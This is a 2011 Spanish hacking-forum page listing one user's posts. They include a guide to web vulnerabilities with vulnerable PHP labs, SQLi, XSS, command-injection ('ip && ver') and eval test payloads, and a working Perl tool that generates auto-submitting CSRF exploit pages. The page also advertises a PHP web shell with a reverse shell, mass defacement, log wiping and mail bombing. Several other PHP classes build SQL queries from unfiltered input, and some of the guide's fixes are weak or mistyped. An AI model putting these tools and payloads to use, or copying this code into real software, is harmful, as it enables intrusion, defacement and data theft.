elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Mensajes
Páginas: 1 ... 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 [54] 55
531  Seguridad Informática / Nivel Web / [Guia] Vulnerabilidades a nivel web en: 7 Octubre 2011, 01:28 am
[Guia] Vulnerabilidades a nivel web

[Titulo] : Vulnerabilidades a nivel web
[Autor] : Doddy Hackman


[Temario]

--===================================--

0x01 : Introduccion
0x02 : SQLI
0x03 : Blind SQLI
0x04 : HTML Injection
0x05 : XSS
0x06 : RFI
0x07 : LFI
0x08 : Remote code Execution
0x09 : Full Path Discloure
0x10 : Full Source Discloure
0x11 : PHP Injections

--===================================--


0x01 : Introduccion


Hola a todos.

Eh empezado a hacer esta simple guia donde detallo de forma minima las vulnerabilidades mas comunes
a nivel web , en cada vulnerabilidad solo explicare como se produce y como arreglarlo , pero
no voy a ampliar demasiado en tecnias de cada una
Cualquier error en la guia deben decirmelo para aprender de mis errores


0x02 : SQLI

Las injecciones SQL son una de las vulnerabilidades mas usadas debido a que es una de las faciles de explotar cuando estas
son encontradas.
La injecciones SQL se producen cuando se incluye en una sentencia SQL una variable que no esta filtrada , entonces
mediante la variable mal filtrada vamos a poder codigo que nos puedan ayudar
a sacar columnas , extraer tablas y columnas , datos y todo eso.........

Un ejemplo de este tipo de vulnerabilidad

Código:
<title>LABS SQL INYECTION</title>

<STYLE type="text/css">

body {
background-color: #000000;
color:orange;
font-family:
Courier New;
cursor:crosshair;
font-size: small;
}
</style>

<center><h1><font color=green>LABS SQL INYECTION</font></h1><br><br><br>

<?php

$host = 'localhost';
$user = 'root';
$datos = 'users';

$conexion = mysql_connect($host, $user);
mysql_select_db($datos,$conexion);



if (isset($_GET['id'])) {
$id = $_GET['id'];
}

if(empty($id)){
$id = "1";
}

$sql = mysql_query("SELECT * FROM `hackers` WHERE id=".$id) or die (mysql_error());

$resultado = mysql_fetch_row($sql);

echo "<h3><b>id: </font>".$resultado[0]."<br>";
echo "user: </font>".$resultado[1]."<br>";
echo "pass: </font>".$resultado[2]."</b></h3><br>";

mysql_close($conexion);

?>

Como ven , la funcion mysql_query() usa un sentencia que posee la variable $id , como la variable
$id no esta filtrada o protegida , se puede insertar codigo de la siguiente manera

Código:
http://127.0.0.1/sql.php?id= ¿AQUI?

A partir del id podemos poner el codigo para ver si es vulnerable o no porque id es la variable mal
filtrada

Para saber si es vulnerable podemos poner un ' en el contenido de id

Si el resultado de la pagina es algo como mysql error bla bla

Es porque es vulnerable

Una forma de protegerse de este ataque es verificar que $id sea un numero y no codigo raro para modificar
la sentencia SQL


Código:

if (!is_numeric($_GET['id'])) {
echo "no me jodas !!!<br>";
exit(1);
}


Como vemos usamos is_numeric para la verificacion , pero usamos este para verificar que si $id no es un numero , este  nos avise y
nos diga no me jodas !!!

0x03 : Blind SQLI

Las Blind SQLI vienen de la misma vulnerabilidad que las SQLI , pero en este caso el admin
usa @ en las funciones para la conexion con la DB o error_reporting en 0 para que
no tire errores. Un grave error pues asi esta provocando las conocidas Blind SQLI

Un ejemplo de pagina vulnerable seria este

Código:
<title>LABS SQL INYECTION</title>

<STYLE type="text/css">

body {
background-color: #000000;
color:orange;
font-family:
Courier New;
cursor:crosshair;
font-size: small;
}
</style>

<center><h1><font color=green>LABS SQL INYECTION</font></h1><br><br><br>

<?php

$host = 'localhost';
$user = 'root';
$datos = 'hackman';

$conexion = mysql_connect($host, $user,"123");
mysql_select_db($datos,$conexion);



if (isset($_GET['id'])) {
$id = $_GET['id'];
}

if(empty($id)){
$id = "1";
}

$sql = @mysql_query("SELECT * FROM `hackers` WHERE id=".$id);

$resultado = @mysql_fetch_row($sql);

echo "<h3><b>id: </font>".$resultado[0]."<br>";
echo "user: </font>".$resultado[1]."<br>";
echo "pass: </font>".$resultado[2]."</b></h3><br>";

mysql_close($conexion);

?>

como ven usamos @ para evitar errores las funciones mysql_query() y mysql_fetch_row()

Entonces para comprobar que si la pagina es vulnerable a Blind SQLI podemos poner asi en
la parte de id

Código:
http://127.0.0.1/sql.php?id=1+and+1=1

Código:
http://127.0.0.1/sql.php?id=1+and+1=0

Si en el primer link devuelve un resultado positivo y en el segundo negativo (no muestra nada)

Una forma de arreglar esta vulnerabilidad seria la  misma que la de SQLI


Código:

if (!is_numeric($_GET['id'])) {
echo "no me jodas !!!<br>";
exit(1);
}



0x04 : HTML Injection


Las HTML Injection son conocidas como las vulnerabilidades mas idiotas y faciles de hacer , pero
, ¿los que dicen eso saben como se produce y como se arregla ? ,de ese estoy seguro que no .

Esta vulnerabilidad se produce normalmente en los libros de visitas cuando se deja un comentario y
se lo muestra en pantalla

Un ejemplo seria este


Código:

<?php

echo "

<form action='' method=POST>
<input type=text name=mensaje>
<input type=submit value=Mostrar>
</form>

";

if (isset($_POST['mensaje'])) {
echo $_POST['mensaje'];
}

?>


Si queremos probar si la pagina padece de esta vulnerabilidad solo tendriamos que poner algo de
codigo html

Si ponemos "<h1>hola</h1>" y se muestra como tal es porque es vulnerable

La forma de protegerse es facil solo filtras las variables para protegerse

Para hacer esto podemos usar htmlentities() o htmlspecialchars() , usen la que quieran pues las
dos protegen

Código:

<?php

echo "

<form action='' method=POST>
<input type=text name=mensaje>
<input type=submit value=Mostrar>
</form>

";

if (isset($_POST['mensaje'])) {

echo htmlentites($_POST['mensaje']);
}

?>


0x05 : XSS

Bueno , XSS es una vulnerabilidad conocida y util a la hora de robar cookies , la vulnerabilidad se
produce cuando se muestra una variable mal filtrada

Código:

<?php

echo "

<form action='' method=GET>
<input type=text name=msg>
<input type=submit value=Mostrar>
</form>

";

if (isset($_GET['msg'])) {

echo $_GET['msg'];
}

?>



Para ver si es vulnerable podemos ejecutar el siguiente link con el siguiente codigo

Código:
<script>alert("hola");</script>

Código:
http://127.0.0.1/xss.php?msg=<script>alert("hola");</script>

Como ven la variable msg es enviada por metodo GET  , la variable no es protegida y es
mostrada tal cual

Una forma de reparar es usar como htmlentities() o htmlspecialchars()

Código:
<?php 

echo "

<form action='' method=GET>
<input type=text name=msg>
<input type=submit value=Mostrar>
</form>

";

if (isset($_GET['msg'])) {

echo htmlspecialchars($_GET['msg']);
}

?>

0x06 : RFI

Bueno , el viejo RFI , esta vulnerablidad es muy conocida , se trata de un mal uso de la funcion
include() y una mala configuracion de la variable allow_url_include estando On en php.ini

Un ejemplo seria este


Código:
<?php 

if (isset($_GET['car'])) {
include($_GET['car']);
}

?>

Como ven , si queremos saber si la  pagina es vulnerable a RFI  podemos hacer asi

Código:
http://127.0.0.1/rfi.php?car=http://www.google.com.ar

Y si la pagina muestra la pagina de google es porque la pagina es vulnerable a RFI

Una forma de protegerse RFi seria usando un control en la variable "car" de la siguiente forma

Código:

if (isset($_GET['car'])) {

if ($_GET['car'] == "veo") {
include("veo.php");
}

elseif($_GET['car'] == "noveo") {
include("noveo.php");
}
else {
echo "no intentes cosas raras xDDD";
}
}


0x07 : LFI

Bueno , el conocido LFI ,es parecido a RFI , pero este solo ejecuta archivos a nivel local y no remoto como RFI

Un ejemplo de pagina vulnerable seria asi

Código:
<?php 

if (isset($_GET['car'])) {
include($_GET['car']);
}

?>

Para saber si es vulnerable podemos cargar la variable car con un '  de la siguiente manera

Código:
http://127.0.0.1/lfi.php?car='

Y si nos devuelve algo asi

Código:
Warning: include(') [function.include]: failed to open stream: No such file or directory in C:\xampp\htdocs\666.php on line 4

Es porque es vulnerable xDDD

Para protegernos de esta vulnerabilidad seria de la misma forma que RFI


Código:

if (isset($_GET['car'])) {

if ($_GET['car'] == "veo") {
include("veo.php");
}

elseif($_GET['car'] == "noveo") {
include("noveo.php");
}
else {
echo "no intentes cosas raras xDDD";
}
}


0x08 : Remote code Execution

Esta vulnerabilidad no es muy conocida , se trata de poder ejecutar comandos en la maquina atacada
sin necesidad de crear una shell.

Entonces un ejemplo de pagina vulnerable seria esta.

Código:
<?php

echo "

<form action='' method=POST
<input type=text name=cmd>
<input type=submit value=mandar>
</form>

";

if (isset($_POST['cmd'])) {
system("ping ".$_POST['cmd']);
}



?>

Como ven la pagina hace un comando ping con system() a la ip marcada por ustedes

Entonces que pasa si ponemos una ip cualquiera

Pues nada solo hace un ping a la ip que pusieron

Entonces si ponemos esto

Código:
ip && ver

El servidor nos devolveria el resultado de el comando ping con un extra xDDD
Pues si estamos viendo la version del SO
Entonces la explicacion es simple solo ponemos && para agregar un comando siempre cuando la ip
que pusieron anteriormente era  real y el ping se mostro correctamente

Entonces si queremos arreglar esta vulnerabilidad tenemos que reemplazar toda cosa rara en la variable
de "cmd"

Quedando el codigo de la siguiente manera

Código:
<?php

echo "

<form action='' method=POST
<input type=text name=cmd>
<input type=submit value=mandar>
</form>

";

if (isset($_POST['cmd'])) {

$cmd = $_POST['cmd'];

$cmd = str_replace("&&", "", $cmd);
$cmd = str_replace(";", "", $cmd);
$cmd = str_replace("-", "", $cmd);
$cmd = str_replace("?", "", $cmd);
$cmd = str_replace("||", "", $cmd);
$cmd = str_replace("|", "", $cmd);
$cmd = stripslashes($cmd);

system("ping ".$cmd);

}



?>

0x09 : Full Path Discloure

Esta vulnerabilidad se produce cuando se produce un error , tanto como un error en el resultado de la funcion que estamos
usando como la sintasis usada en la misma

Un ejemplo seria este

Código:
<?php
if (isset("no se nada de php")) {

}
?>

Que feo programo xDDD

Entonces el error que nos devuelve seria este

Código:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in C:\xampp\htdocs\666.php on line 2

Como vemos nos devuelve el directorio actual donde se ejecuta el archivo php , esto es lo que se llama
full path discloure

Esta vulnerabilidad tambien aparece en SQL y LFI , cuando poniamos la comilla ' el resultado de include() y mysql_query()
En el caso del segundo era una full path discloure ademas de estar indicando que la pagina realmente era vulnerable a SQL
En el caso del primero tambien se debia al mal uso de la funcion include() devolviendonos un error con un full path
discloure

0x10 : Full Source Discloure

Bueno , esta vulnerabilidad nos permite descargar archivos de un servidor web debido a que no
filtra las variables

Un ejemplo seria este

Código:

if (isset($_GET['down'])) {
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($_GET['down']));
readfile($_GET['down']);
}

Entonces si ponemos la ruta que queremos en la variable "down" estamos hecho.
Un ejemplo de uso seria este

Código:
http://127.0.0.1/down.php?down=c:/secretos.txt

Y con eso descargariamos el archivo secreto si es que existe xDDD

Entonces una forma de evitar esta vulnerabilidad seria usando una DB , que contenga una tabla
con los links de descarga , entonces una vez que se detecte la variable down se verificaria que fuera
un numero de lo contrario chau xDDD

0x11 : PHP Injections

Bueno , la php injections suelen suceder cuando usa la funcion eval().
La funcion eval() nos permite ejecutar codigo php

Un ejemplo de esta vulnerabildad seria este

Código:
<?php

if (isset($_GET['te'])) {
eval($_GET['te']);
}

?>

Como ven , es un caso muy raro y especial en cierto sentido xDDD

Entonces si ejecutamos este link

Código:
http://127.0.0.1/php?te=echo "hola mundo";

Si vemos en la pantalla , este link nos devuelve hola mundo , creo que es obvio que es vulnerable

Una forma de protegerse seria no usar eval()

--========--
¿ The End ?
--========--
532  Programación / PHP / [PHP] Simple Chat By Doddy H en: 7 Octubre 2011, 01:26 am
Como dice el titulo , es un simple chat que se divide en 3 partes

install.php

Código:
<?php

//Datos para la DB

$host = "localhost";
$user = "root";
$pass = "";
$db = "chat";

echo "
<title>Instalacion de mini chat</title>
<br><br><b>Seguro que desea instalar mini chat</b><br><br>
<form action='' method=POST>
<input type=submit name=instalar value=Instalar>
</form>
<br><br>";


if (isset($_POST['instalar'])) {

if (mysql_connect($host,$user,$pass)) {

$todo2 = "create table $db.mensajes (
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
";


if (@mysql_query($todo1)) {
echo "1";
if (@mysql_query($todo2)) {
echo "chat instalado<br>";
}
} else {
echo "error en la instalacion<br>";
}
} else {
echo "error en la conexion con la db<br>";
}
}

?>

admin.php

Código:
<?php

$host = "localhost";
$user = "root";
$pass = "";

$usera = "test";
$passa = "test";

if (isset($_GET['user'])) {

if ($_GET['user'] == $usera) {
if ($_GET['pass'] == $passa) {

@mysql_connect($host,$user,$pass);

$re = @mysql_query("select * from chat.mensajes");

if (is_numeric($_GET['id'])) {
if (@mysql_query("delete from chat.mensajes where id_comentario='".$_GET['id']."'")) {
echo "<script>alert('Comentario borrado');</script>";
}
}


while ($ver = @mysql_fetch_array($re)) {
echo "<a href=?user=".$usera."&pass=".$passa."&id=".$ver[0].">Borrar comentario ".$ver[0]."</a><br>";
}

}
}


}

?>

index.php

Código:
<?php

$db = "chat"; //
$host = "localhost";
$user = "root";
$pass = "";

echo "
<style>

.main {
word-wrap: break-word;
word-break:break-all;
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #00FF00;
}

td,body {
background-color:black;color:#00FF00;
}


input,textarea,select {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#00FF00;
border: solid 1px #00FF00;
border-color:#00FF00
}

</style>";

mysql_connect($host,$user,$pass);
mysql_select_db($db);

echo "<table border=0 width='300' style='table-layout: fixed'>";
echo "<td class=main><b>Mini Chat 0.2</b></td><tr>";


$sumo = mysql_query("SELECT MAX(id_comentario) FROM $db.mensajes");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$total = $d;
}

$test = $total - 10;

if ($test <= 0) {
next;
} else {
$resto = $test;

for ($i = 1; $i <= $resto; $i++) {
@mysql_query("DELETE FROM $db.mensajes where id_comentario='$i'");
}

}


$re = @mysql_query("select * from $db.mensajes order by id_comentario DESC");

while ($ver = @mysql_fetch_array($re)) {
echo "<td class=main><b>".$ver[2]."</b>:".$ver[1]."</td><tr>";
}


echo "<br><br><td class=main><br><b>Dejar mensaje</b><br><br>
<form action='' method=POST>
Apodo : <input type=text name=apodo size=25><br>
Texto : <input type=text name=msg size=25><br><br>
<input type=submit name=chatentro value=Mandar>
</form>
<td><tr>
<td class=main><b>Coded By Doddy H</b></td><tr>
</table>";


if (isset($_POST['chatentro'])) {

$sumo = mysql_query("SELECT MAX(id_comentario) FROM $db"."."."mensajes");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$x_id = $d+1;
}

$apodo = htmlentities(addslashes($_POST['apodo']));
$mensaje  = htmlentities(addslashes($_POST['msg']));

$apodo = substr($apodo,0,70);
$mensaje = substr($mensaje,0,70);

$insultos = array("lammer","lamer","puto","noob");

foreach ($insultos as $con) {
$mensaje = str_replace($con,"#$!*",$mensaje);
$apodo = str_replace($con,"#$!*",$apodo);
}

@mysql_query("INSERT INTO $db"."."."mensajes"."("."id_comentario".","."apodo".","."mensaje".")values('".$x_id."','".$apodo."','".$mensaje."')");

echo '<meta http-equiv="refresh" content=0;URL=>';

}

?>

Esa serian las tres partes , el chat tiene las siguientes opciones

  • Solo permite 10 mensajes por lo que borra por antiguedad
  • Filtra malas palabras

Eso seria todo

Cualquier vulnerabilidad la reportan

533  Programación / PHP / [PHP Shell] Poison Shell 1.0 en: 7 Octubre 2011, 01:26 am
Aca les traigo la nueva version de mi phpshell


-- == Mejoras == --

  • Deteccion de archivo /etc/passwd o SAM para descargar
  • Cracker para FTP Y Mysql
  • PortScanner
  • MailBomber para varios emails
  • Posibilidad de buscar kernel en DB Exploit
  • ProxyWeb
  • Encode para md5,sha1,crc32
  • Mejoras de diseño
  • login y pass de la shell cifrado en md5

-- == Funciones == --

  • Informacion : sobre el servidor web
  • Navegacion de archivos y directorios :

* En esta opcion pueden editar , borrar ,renombrar y descargar archivos
* Tambien podes crear directorios nuevos

  • Ejecutar comandos
  • Subir archivos a un directorio especifico
  • Base64 encode() decode()
  • Ejecutar codigo php con eval()
  • Cargar phpinfo()
  • Crackear hash md5 con salto o sin salto
  • BackShell : en esta version solo esta un reverse shell en perl hecho por mi
  • MassDefacement : masivo deface a un directorio y todos sus subdirectorios que le sigan
  • CleanLogs : limpia logs de linux
  • FTP

* Crear directorios nuevos
* Este cliente FTP permite navegar a traves de los directorios y archivos
* Borrar archivos
* Cambiar permisos de archivos
* Descargar archivos

  • SQL Manager

* Podes navegar a traves de la base datos podiendo ver todas
las bases de datos y tablas activas
* Ejecutar sentencias SQL
* Descargar tablas
* Descargar bases de datos

  • Cookies Manager

* En esta opcion podemos ver todos los cookies activos
* Podemos crear un cookie con el valor que queremos

  • Session Manager

* En esta opcion podemos ver todas las sesiones activas
* Podemos crear una sesion con el valor que queremos


  • Shell Protegida con user y pass
  • Autodestruccion de la shell


El codigo de la shell esta en pastebin

Código:
http://pastebin.com/FM7j0w7N

Cualquier sugerencia o error digamenlo para mejorar


Una imagen


534  Programación / PHP / [PHP Class] Noticion 0.9 en: 7 Octubre 2011, 01:22 am
Bueno , en esta version le quite esa opcion de usar bases de datos que era innecesaria debido que
no se puede tener varias , gran error mio pero gracias por decirmelo , en esta version le quite algunas cosas
que no hacian falta y modifique el uso de bases de datos por tablas

Para realizar la conexion usamos

Código:
datos($host,$user,$pass,$db)

Para crear una nueva categoria usamos

Código:
crearcategoria($nuevacategoria)

Para borrar una categoria usamos

Código:
eliminarcategoria($eliminarcategoria)

Para devolver un array con todas las categorias disponibles usamos

Código:
listarcategorias()

Para crear una nueva noticia usamos

Código:
nuevo($x_titulo,$x_contenido,$x_fecha,$categoria)

Para modificar el contenido usamos

Código:
mod($categoria,$id,$tit,$con,$fech)

Para borrar una noticia usamos

Código:
eliminar($id,$categoria)

Para poder ver el contenido de una noticia usamos

Código:
vereste($id,$categoria)

Para recibir una lista de todas las noticias usamos

Código:
vertodo($categoria)

Para crear un comentario usamos

Código:
crearcomentario($categoria,$id_noticia,$fecha,$apodo,$mensaje)

Para modificar el contenido de un comentario usamos

Código:
modcomentario($categoria,$id,$fecha,$apodo,$contenido)

Para ver el contenido de un comentario usamos

Código:
vercomentarios($categoria,$id)

Para borrar un comentario

Código:
borrarcomentario($categoria,$id)

Para cerrar la conexion con el servidor mysql usamos

Código:
close()


Código:
<?php

/*

Noticion 0.9

(c) DOddy Hackman 2011

*/


class noticion {

private $db;

public function datos($host,$user,$pass,$db) {

$this->db = $db;

if (@mysql_connect($host,$user,$pass)) {
if (@mysql_select_db($db)) {
return true;
}
}
}

public function crearcategoria($nuevacategoria) {

$todo1 = "create table categoria_$nuevacategoria (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
titulo VARCHAR(255) NOT NULL,
contenido TEXT NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id));
";

$todo2 = "create table comentarios_$nuevacategoria (
id_noticia int(10),
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
";

if (@mysql_query($todo1)) {
if (@mysql_query($todo2)) {
return true;
}
}
 
}

public function eliminarcategoria($eliminarcategoria) {

if (@mysql_query("DROP TABLE categoria_$eliminarcategoria")) {
if (@mysql_query("DROP TABLE comentarios_$eliminarcategoria")) {
return true;
}

}
}


public function eliminar($id,$categoria) {
if (is_numeric($id)) {
if (@mysql_query("DELETE FROM categoria_$categoria where id='$id'")) {
return true;
}
}
}

public function nuevo($x_titulo,$x_contenido,$x_fecha,$categoria) {
$sumo = mysql_query("SELECT MAX(id) FROM categoria_$categoria");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$x_id = $d+1;
}
if (@mysql_query("INSERT INTO categoria_$categoria(id,titulo,contenido,fecha)values('$x_id','$x_titulo','$x_contenido','$x_fecha')")) {
return true;
}
}

public function vereste($id,$categoria) {
if (is_numeric($id)) {
$total = array();
if ($que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria WHERE id='$id'")) {
while ($ver = @mysql_fetch_array($que)) {
return array($ver[0],$ver[1],$ver[2],$ver[3]);
}
}
}
}

public function listarcategorias() {

$found = array();

if ($re = @mysql_query("show tables from ".$this->db)) {

while($dat = mysql_fetch_row($re)) {
$separo = split("_",$dat[0]);
array_push($found,$separo[1]);
}
return array($found);
}

}

public function vertodo($categoria) {
$total = array();
if ($que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria")) {
while ($ver = @mysql_fetch_array($que)) {
array_push($total,$ver);
}
return array($total);
}
}

public function mod($categoria,$id,$tit,$con,$fech) {
if (@mysql_query("UPDATE categoria_$categoria SET id='$id',titulo='$tit',contenido='$con',fecha='$fech' where id='$id'")) {
return true;
}
}

public function crearcomentario($categoria,$id_noticia,$fecha,$apodo,$mensaje) {

$sumo = mysql_query("SELECT MAX(id_comentario) FROM comentarios_$categoria");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$x_id = $d+1;
}

if (mysql_query("INSERT INTO comentarios_$categoria(fecha,apodo,mensaje,id_noticia,id_comentario)values('$fecha','$apodo','$mensaje','$id_noticia','$x_id')")) {
return true;
}

}

public function modcomentario($categoria,$id,$fecha,$apodo,$contenido) {
if (@mysql_query("UPDATE comentarios_$categoria SET id_comentario='$id',fecha='$fecha',apodo='$apodo',mensaje='$contenido' where id_comentario='$id'")) {
return true;
}
}

public function vercomentarios($categoria,$id) {
$todo = array();
if ($ver = @mysql_query("SELECT id_noticia,id_comentario,apodo,mensaje,fecha FROM comentarios_$categoria")) {
while ($que = @mysql_fetch_array($ver)) {
if ($que[0] == 1) {
array_push($todo,$que);
}
}
return array($todo);
}

}


public function borrarcomentario($categoria,$id) {
if (is_numeric($id)) {
if (@mysql_query("DELETE FROM comentarios_$categoria where id_comentario='$id'")) {
return true;
}
}
}


public function close() {
$test->close;
}


}

?>

Ejemplos de usos


Código:
<?php

include_once("noticion.php");

$name = New noticion;

if ($name->datos("localhost","root","","test")) {
echo "conexion abierta<br>";

//$name->crearcategoria("py");

//if ($name->borrarcomentario("perl","1")) {
//echo "ok";
//}


//$name->modcomentario("perl","2","a","a","a");

list($recibo) = $name->vercomentarios("perl","1");

echo count($recibo)."<BR><BR>";

foreach($recibo as $a) {
echo $a[2]."<br>";
}


//$name->crearcomentario("perl","1","1","1","1");


//if ($name->nuevo("aa","aa","aa","perl")) {
//echo "ok";
//}

//$ver = $name->vereste("1","perl");

//echo $ver[0];

//$name->mod("perl","3","cambie","cambie","cambie");

//$re = $name->listarcategorias();

//$name->eliminar("5","perl");


//list($re) = $name->vertodo("perl");

//foreach ($re as $r) {
//echo $r[0]."<br>";
//echo $r[1]."<br><br>";
//}


//$name->crearcategoria("perl");

//foreach($t as $veo) {
//echo $veo[id]."<br>";
//}

$name->eliminarcategoria("py");
}


Culquier error , vulnerabilidad o mejorar deben decirlas para mejorar esta clase
535  Programación / PHP / [PHP Class] Loginow 0.2 By Doddy H en: 7 Octubre 2011, 01:21 am
Hola a todos.

Acabo de hacer mi primer clase en PHP , esta sirve
para realizar logins a webs con las sig opciones


 * extrae valores del formulario para realizar la verificacion
 * login mediante DB
 * login mediante una contraseña md5 marcada por ustedes
 * Si el login es exitoso crea una cookie

No eh alcando a probarla hasta fondo
Pero  aca tienen un ejemplo de como usarla


test.php

Código:

include_once("loginow.php");

if (isset($_POST['mandar'])) {
$nave = new loginow;
$nave->campos("usuario","password");
//if ($nave->secure("admin","098f6bcd4621d373cade4e832627b4f6")) {
if ($nave->database("localhost","root","","hackman","hackers","usuario","password")) {
$nave->cookienow("login");
echo "login correcto";
} else {
echo "Error en el login";
exit(1);
}
} else {
echo "
<form action='' method=POST>
Usuario : <input type=text name=usuario value=admin><br>
Password : <input type=text name=password value=test><br>
<input type=submit name=mandar value=mandar></form>";
}

Como ven usamos las funciones

campos(); # ponemos los nombres de las casillas user y pass para realizar la verificacion
secure(); #establecemos esta funcion para verificar mediante user y pass establecidos por nosotros
database(); #ponemos los datos de la DB y sus columnas para realizar la verificacion , claro la clase solo se basara en el primer casillero


loginow.php

Código:
<?php

/*

Simple Class for login of the webs

(c) DOddy Hackman 2010


*/

class loginow {

private $host;
private $db;
private $user;
private $pass;
private $tabla;
private $columna1;
private $columna2;
private $usereal;
private $passreal;
private $campouser;
private $campopass;
private $cookiename;

public function campos($campouser,$campopass) {
if (isset($_POST[$campouser])) {
$this->campouser = $_POST[$campouser];
$this->campopass = md5($_POST[$campopass]);
} else {
$this->campouser = $campouser;
$this->campopass = $campopass;
}
}

public function database($host,$dbuser,$dbpass,$db,$tabla,$columna1,$columna2) {
mysql_connect($host,$dbuser,$dbpass);
mysql_select_db($db);
$que = mysql_query("SELECT * FROM ".$tabla);
while ($test = mysql_fetch_array($que)) {
if ($this->campouser == $test[$columna1] and $this->campopass == $test[password]) {
$this->usereal = $test[$columna1];
$this->passreal = $test[$columna2];
return true;
}
}
}

public function secure($user,$pass) {
if ($this->campouser == $user and $this->campopass == $pass) {
$this->usereal = $user;
$this->passreal = $pass;
return true;
} else {
return false;
}
}

public function cookienow($cookiename) {
setcookie($cookiename,base64_encode($this->usereal."@".$this->passreal));
}

}

?>

Caulquier mejora , fallo o vulnerabilidad encontrada deben decirmelo para mejorar

536  Programación / PHP / [PHP Class] Get Info By Doddy H en: 7 Octubre 2011, 01:21 am
Bueno , esto no es nada del otro mundo , solo una simple clase que te da informacion sobre el visitante

Código:
<?php 

/*

Simple Class GetInfo

By Doddy Hackman

*/


class getinfo {


public function ip() {
return htmlentities($_SERVER['SERVER_ADDR']);
}

public function navegador() {

$navegador = get_browser($_SERVER['HTTP_USER_AGENT'], true);
return array(htmlentities($navegador['browser']),htmlentities($navegador['version']));
}

public function so() {

$navegador = get_browser($_SERVER['HTTP_USER_AGENT'], true);
return htmlentities($navegador['platform']);

}
}

?>

Funciones

Código:
ip() // Te da la IP
navegador() // Te da el navegador
so() // te da el SO

537  Programación / Scripting / [Perl] CSRF T00l en: 7 Octubre 2011, 01:16 am
Una simple herramienta para ahorrar trabajo en la creacion de un exploit
para la vulnerabildiad Cross Site Request Forgery , despues genera el resultado
en una carpeta creada con el programa con el nombre de la web.


Código
  1. #!usr/bin/perl
  2. #CSRF T00l (C) Doddy Hackman 2011
  3.  
  4. use HTML::Form;
  5. use URI::Split qw(uri_split);
  6.  
  7. installer();
  8.  
  9. head();
  10. if($ARGV[0]) {
  11. now($ARGV[0]);
  12. } else {
  13. sintax();
  14. }
  15. copyright();
  16.  
  17. sub now {
  18.  
  19. unless(-f $_[0]) {
  20. print "\n[-] File Not Found\n";
  21. copyright();
  22. }
  23.  
  24. print "\n[+] File to parse : ".$_[0]."\n\n";
  25.  
  26. open(FILE,$_[0]);
  27. my $words = join q(),<FILE>;
  28. close(FILE);
  29.  
  30. my @testar = HTML::Form->parse($words,"/");
  31.  
  32. $count = 0;
  33. foreach my $test(@testar) {
  34. $count++;
  35. print "\n\n -- == Form $count == --\n\n";
  36. if ($test->attr(name) eq "") {
  37. print "[+] Name : No Found"."\n";
  38. } else {
  39. print "[+] Name : ".$test->attr(name)."\n";
  40. }
  41. print "[+] Action : ".$test->action."\n";  
  42. print "[+] Method : ".$test->method."\n";
  43. print "\n-- == Input == --\n\n";
  44. @inputs = $test->inputs;
  45. print "Type\t\tName\t\tValue\n";
  46. foreach $in(@inputs) {
  47. print $in->type."\t\t";
  48. print $in->name."\t\t";
  49. print $in->value."\t\t\n";
  50. }
  51. }  
  52. print "\n\n[+] Form to generate : ";
  53. chomp(my $op = <stdin>);
  54. if ($op ne "") {
  55. $op--;
  56. my $probar = (HTML::Form->parse($words,"/"))[$op];
  57.  
  58. my $action = ver($words,$op);
  59. my $fin = nombre($action).".html";
  60. savefile("<form action=$action method=".$probar->method." name=exploit>",$fin);
  61. @input = $probar->inputs;
  62. foreach $in(@input) {
  63. print "\n[+] Value of the ".$in->name." : ";
  64. chomp(my $val = <stdin>);
  65. savefile("<input type=hidden name=".$in->name." value=".$val.">",$fin);
  66. }
  67. my $final = "</form><script language=javascript>function colocar(){document.exploit.submit()}
  68. </script><iframe width=6% height=%6 overflow=hidden onmouseover=javascript:colocar()>
  69. ";
  70. savefile($final,$fin);
  71. print "\n\n[+] CSRF Exploit Generated\n\n";
  72. print "[+] To can see in logscsrf/".$fin."\n\n";
  73. }
  74. }
  75.  
  76. sub ver {
  77. my $probar = (HTML::Form->parse($_[0],"/"))[$_[1]];
  78. my $action = $probar->action;
  79. my $co = $action;
  80. if ($action eq "" or $action eq "/"){
  81. print "\n\n[+] Action : ";
  82. chomp(my $action = <stdin>);
  83. return $action;
  84. } else {
  85. return $co;
  86. }
  87. }
  88.  
  89. sub installer {
  90. unless (-d "logs_csrf/") {
  91. mkdir("logs_csrf/","777");
  92. }}
  93.  
  94. sub nombre {
  95. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  96. return $auth;
  97. }
  98.  
  99. sub savefile {
  100. open (SAVE,">>logs_csrf/".$_[1]);
  101. print SAVE $_[0]."\n";
  102. close SAVE;
  103. }
  104.  
  105. sub sintax {
  106. print "\n[+] sintax : $0 <file>\n";
  107. }
  108.  
  109. sub head {
  110. print "\n\n -- == CSRF T00l == --\n\n";
  111. }
  112.  
  113. sub copyright {
  114. print "\n\n -- == Doddy Hackman 2011 == --\n\n";
  115. exit(1);
  116. }
  117.  
  118. # ¿ The End ?
  119.  

Ejemplo de uso

Código:

C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
 Finales\CSRF Tool>tool.pl read.txt


 -- == CSRF T00l == --


[+] File to parse : read.txt



 -- == Form 1 == --

[+] Name : No Found
[+] Action : http://localhost/labs/csrf/csrf.php
[+] Method : GET

-- == Input == --

Type            Name            Value
text            ver
password                veras
submit          control         Agregar


 -- == Form 2 == --

[+] Name : No Found
